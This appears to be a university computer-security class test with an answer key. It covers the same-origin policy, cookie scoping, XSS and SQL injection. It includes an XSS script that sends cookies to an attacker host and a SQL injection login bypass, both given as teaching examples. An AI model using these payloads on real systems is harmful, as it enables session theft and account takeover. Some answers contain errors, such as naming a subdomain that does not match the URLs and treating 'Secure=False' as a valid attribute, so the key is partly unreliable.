

CSE 405: Computer Security
Extra Class Test – June 23 2025
Duration: 25 minutes
Total Marks: 20

Please write your answers in the space provided as concisely and directly as possible.

Name: _____ **ID:** _____

1. For each of the following webpages, determine whether the webpage has the same origin as `http://moodle.com/index.html`, and provide a minimal justification. $4 \times 1 = 4$

URL	Same Origin?	Justification
<code>https://moodle.com/index.html</code>	No	Different protocols: <code>https</code> vs <code>http</code> . The same-origin policy requires protocol, domain, and port to all match.
<code>http://learn.moodle.com</code>	No	Different subdomain: <code>maps.moodle.com</code> vs <code>moodle.com</code> . Subdomains do not share the same origin.
<code>http://moodle.com/home.html</code>	Yes	Protocol, domain, and port are the same. The path is not considered in same-origin checks.
<code>http://learn.moodle.com:8080</code>	No	Both subdomain and port differ: <code>maps.moodle.com</code> vs <code>moodle.com</code> , and 8080 vs default 80. All must match for same origin.

2. Moodle is running services at the following subdomains:

- `login.moodle.com` – authentication
- `grades.moodle.com` – grade portal
- `moodle.com` – root domain

Suppose `login.moodle.com` sends the following response header:

Set-Cookie: sessionid=abc123; Domain=moodle.com; Path=/auth/; Secure=False;

(a) Suppose Mallory controls `mallory.com` and she can inject the following script on a public Moodle forum to steal session cookies:

`<script>window.location='mallory.com/grab.cgi?c='+document.cookie</script>`

Which additional cookie header can be used to prevent attacks like this and how? **2**

The `HttpOnly` attribute can be added to the cookie header. This prevents JavaScript from accessing the cookie.

(b) Will the browser send this cookie when visiting each of the following URLs? $4 \times 1 = 4$

URL	Sent? (Y/N)	Justification
<code>https://grades.moodle.com/auth/marks</code>	Y	Domain <code>grades.moodle.com</code> is a subdomain of <code>moodle.com</code> ; path starts with <code>/auth/</code> .
<code>https://grades.moodle.com/profile</code>	N	Domain matches, but path <code>/profile</code> does not start with <code>/auth/</code> .
<code>http://moodle.com/auth/login</code>	Y	Exact domain match; path starts with <code>/auth/</code> ; HTTP is allowed since <code>Secure=False</code> .
<code>http://www.moodle.com/auth/</code>	Y	Subdomain <code>www.moodle.com</code> matches the cookie domain <code>moodle.com</code> ; path starts with <code>/auth/</code> ; sent over HTTP because <code>Secure=False</code> .

3. A website provides a login form where users enter a `username` and `password`. The backend uses a SQL database with a table named `users`, structured as follows: 5

- `username` (string)
- `password` (string)
- `is_admin` (boolean)

When credentials are submitted, the server executes the following SQL query, where `$username` and `$password` are replaced with user inputs without any sanitization or escaping:

```
SELECT * FROM users WHERE username = "$username" AND password = "$password"
```

If a record is returned, the user is logged in. If the returned record has `is_admin = true`, the user is redirected to the admin dashboard.

You have a normal user account but want to log in as `admin` without knowing their password. You suspect there is an account with `username = "admin"` and `is_admin = true`.

Construct input values for the username and password fields to gain admin access without knowing the password. Write your inputs clearly and briefly explain how they work.

One possible solution might be:

```
username: admin" --
password: anything
```

Then the SQL query becomes:

```
SELECT * FROM users WHERE username = "admin" --" AND password = "x"
```

The `--` comment syntax causes the rest of the query to be ignored.

Many other variations are possible, as long as they manipulate the SQL query to return the admin record without needing the actual password.

4. Draw a diagram illustrating the working mechanism of a Reflected XSS (Cross-Site Scripting) attack. What is the main difference between a Reflected XSS and a CSRF attack? **3 + 2 = 5**

No need to explain too much, just draw the diagram highlighting the sequence of events with numbers.

Refer *Slide 11 - Page 19, 21* for answers.